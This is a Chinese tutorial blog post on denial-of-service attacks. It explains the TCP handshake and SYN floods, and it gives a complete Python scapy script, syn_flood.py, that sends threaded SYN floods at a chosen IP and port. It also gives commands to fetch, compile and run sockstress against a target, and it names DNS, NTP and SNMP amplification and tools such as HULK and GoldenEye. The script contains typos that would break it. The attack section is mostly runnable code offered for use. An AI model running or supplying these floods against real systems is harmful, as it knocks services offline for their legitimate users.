当前位置:网站首页>任务:拒绝服务DoS
任务:拒绝服务DoS
2022-07-01 18:44:00 【Debroon】
拒绝服务 DoS 原理
拒绝服务 DoS,是利用程序漏洞或一对一资源耗尽的 Denial of Service 拒绝服务。
但 DoS 是一对一的攻击,完全拼各自的资源,效果不好。
分布式拒绝服务 DDos,是多对一的攻击,汇集资源,重点在于量大。
正常用户访问网页的过程:
- 用户发送请求(SYN 包)
- 网站服务器接受请求,返回(SYN-ACK包)
- 用户再次发送(ACK包),用户和网站的服务联通

Syn-Flood洪水攻击、IP地址欺骗
Syn-Flood洪水攻击原理:网站服务器服务的顾客数是有限的(TCP最大连接数,并不是服务器的CPU和内存),我们用自己操控的大量的电脑来占用网站服务器资源(不断发起请求,源源不绝),那其他用户访问这个网站,就没有接待资源了(申请服务,网站服务拒绝)。

syn_flood.py 脚本:
# _*_ coding: utf-8 _*_
# 设置编码,支持中文字符
from scapy.all import *
# 导入操纵报文和网站交互的包,可实现洪水攻击的发包操作
from time import sleep
import random
import thread
# 导入线程包
import logging
# 导入日志包
Logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
# 给用户的输入提示,保证输入格式
if len(sys.argv)!= 4:
print "用法:./syn_flood.py [IP地址] [端口] [线程数]"
print "举例:./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1]) # 目标地址
port = int(sys.argv[2]) # 端口
threads = int(sys.argv[3]) # 线程数,多线程实现大量的攻击
print "正在执行 SYN flood 进攻,按 Ctrl+C 止攻。"
def synflood(target, port):
while 1:
x = random.randint(0, 65535)
# 随机选择一个端口,作为源端口
send( IP(dst=target) / TCP(dport=port, sport=x), verbose=O )
# 发送请求,占用目标服务器的TCP连接数
for x in range(o, threads):
# 从 0 到 线程数
thread.start_new_thread( synflood, (target, port) )
# 在目标的ip和端口,把所有线程数都打出去
Smurf攻击、Sockstress
# Python 调用攻击脚本
./sockstress.py 1.1.1.1 21 200
// C 调用攻击脚本
下载工具:https://github.com/defuse/sockstress
gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o
./sockstress 1.1.1.1:80 eth0
./sockstress 1.1.1.1:80 eth0 -p payloads/http
TearDrop
DNS放大攻击
SNMP放大攻击
NTP放大攻击
应用层Dos
拒绝服务攻击工具-RUDY、Hping3、LAND攻击、Siege
拒绝服务攻击工具-NMAP、匿名者拒绝服务工具包(匿名者发布的DoS工具)、其他拒绝服务工具-XOIC、HULK、DDOSIM、GoldenEye
边栏推荐
- 精益思想:来源,支柱,落地。看了这篇文章就懂了
- How to use the low code platform of the Internet of things for personal settings?
- 论文阅读【Learning to Discretely Compose Reasoning Module Networks for Video Captioning】
- 实现一个Prometheus exporter
- Dom4J解析XML、Xpath检索XML
- Lumiprobe phosphide hexaethylene phosphide specification
- Cache problems after app release
- Dom4j parsing XML, XPath retrieving XML
- Lake shore M91 fast hall measuring instrument
- Boost the development of digital economy and consolidate the base of digital talents - the digital talent competition was successfully held in Kunming
猜你喜欢

The best landing practice of cave state in an Internet ⽹⾦ financial technology enterprise

Prices of Apple products rose across the board in Japan, with iphone13 up 19%

生鲜行业B2B电商平台解决方案,提高企业交易流程标准化和透明度

Witness the times! "The future of Renji collaboration has come" 2022 Hongji ecological partnership conference opens live broadcast reservation

kubernetes命令入门(namespaces,pods)

Solidity - 算术运算的截断模式(unchecked)与检查模式(checked)- 0.8.0新特性

Summary of the core steps in the life cycle of beans

June issue | antdb database participated in the preparation of the "Database Development Research Report" and appeared on the list of information technology and entrepreneurship industries

【森城市】GIS数据漫谈(一)

MATLAB中subplot函数的使用
随机推荐
sql查询去重统计的方法总结
宝,运维100+服务器很头疼怎么办?用行云管家!
Graduation season | Huawei experts teach the interview secret: how to get a high paying offer from a large factory?
Lumiprobe 细胞成像研究丨PKH26细胞膜标记试剂盒
Nacos configuration file publishing failed, please check whether the parameters are correct solution
11. Users, groups, and permissions (1)
Lake Shore continuous flow cryostat transmission line
网易游戏,激进出海
实现一个Prometheus exporter
Lumiprobe free radical analysis h2dcfda instructions
混沌工程平台 ChaosBlade-Box 新版重磅发布
Reading the paper [learning to discretely compose reasoning module networks for video captioning]
Cache problems after app release
Digital business cloud: from planning to implementation, how does Minmetals Group quickly build a new pattern of digital development?
精益思想:来源,支柱,落地。看了这篇文章就懂了
Prices of Apple products rose across the board in Japan, with iphone13 up 19%
Gameframework eating guide
DTD建模
B2B e-commerce platform solution for fresh food industry to improve the standardization and transparency of enterprise transaction process
[AGC] how to solve the problem that the local display of event analysis data is inconsistent with that in AGC panel?